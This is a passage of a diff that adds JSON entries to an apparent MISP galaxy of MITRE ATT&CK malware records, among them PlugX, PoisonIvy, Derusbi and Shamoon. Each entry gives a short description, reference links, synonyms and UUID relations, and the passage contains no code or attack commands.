"type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "value": "Mivast - S0080" + }, + { + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)", + "meta": { + "external_id": "S0009", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0009", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + ], + "synonyms": [ + "Hikit" + ] + }, + "related": [ + { + "dest-uuid": "06953055-92ed-4936-8ffd-d9d72ab6bef6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "95047f03-4811-4300-922e-1ba937d53a61", + "value": "Hikit - S0009" + }, + { + "description": "[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)", + "meta": { + "external_id": "S0090", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0090", + "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + ], + "synonyms": [ + "Rover" + ] + }, + "related": [ + { + "dest-uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38", + "value": "Rover - S0090" + }, + { + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)", + "meta": { + "external_id": "S0011", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0011", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + ], + "synonyms": [ + "Taidoor" + ] + }, + "related": [ + { + "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517", + "value": "Taidoor - S0011" + }, + { + "description": "[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)", + "meta": { + "external_id": "S0109", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0109", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + ], + "synonyms": [ + "WEBC2" + ] + }, + "related": [ + { + "dest-uuid": "b5be84b7-bf2c-40d0-85a9-14c040881a98", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1d808f62-cf63-4063-9727-ff6132514c22", + "value": "WEBC2 - S0109" + }, + { + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)", + "meta": { + "external_id": "S0021", + "mitre_platforms": [ + "Windows", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0021", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "Derusbi", + "PHOTO" + ] + }, + "related": [ + { + "dest-uuid": "eff68b97-f36e-4827-ab1a-90523c16774c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7ea00126-add3-407e-b69d-d4aa1b3049d5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "94379dec-5c87-49db-b36e-66abc0b81344", + "value": "Derusbi - S0021" + }, + { + "description": "[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)", + "meta": { + "external_id": "S0201", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0201", + "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + ], + "synonyms": [ + "JPIN" + ] + }, + "related": [ + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30", + "value": "JPIN - S0201" + }, + { + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", + "meta": { + "external_id": "S0012", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0012", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99", + "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign" + ], + "synonyms": [ + "PoisonIvy", + "Poison Ivy", + "Darkmoon" + ] + }, + "related": [ + { + "dest-uuid": "4e104fef-8a2c-4679-b497-6e86d7d47db0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b42378e0-f147-496f-992a-26a49705395b", + "value": "PoisonIvy - S0012" + }, + { + "description": "[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)", + "meta": { + "external_id": "S0210", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0210", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + ], + "synonyms": [ + "Nerex" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "value": "Nerex - S0210" + }, + { + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)", + "meta": { + "external_id": "S0031", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0031", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "BACKSPACE", + "Lecna" + ] + }, + "related": [ + { + "dest-uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d", + "value": "BACKSPACE - S0031" + }, + { + "description": "[Dendroid](https://attack.mitre.org/software/S0301) is an Android malware family. (Citation: Lookout-Dendroid)", + "meta": { + "external_id": "S0301", + "refs": [ + "https://attack.mitre.org/software/S0301", + "https://blog.lookout.com/blog/2014/03/06/dendroid/" + ], + "synonyms": [ + "Dendroid" + ] + }, + "related": [ + { + "dest-uuid": "ea3a8c25-4adb-4538-bf11-55259bdba15f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "317a2c10-d489-431e-b6b2-f0251fddc88e", + "value": "Dendroid - S0301" + }, + { + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", + "meta": { + "external_id": "S0013", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0013", + "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", + "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "http://labs.lastline.com/an-analysis-of-plugx" + ], + "synonyms": [ + "PlugX", + "Sogu", + "Kaba", + "Korplug" + ] + }, + "related": [ + { + "dest-uuid": "663f8ef9-4c50-499a-b765-f377d23c1070", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "value": "PlugX - S0013" + }, + { + "description": "[Shamoon](https://attack.mitre.org/software/S0140) is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)", + "meta": { + "external_id": "S0140", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0140", + "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + ], + "synonyms": [ + "Shamoon", + "Disttrack" + ] + }, + "related": [ + { + "dest-uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + 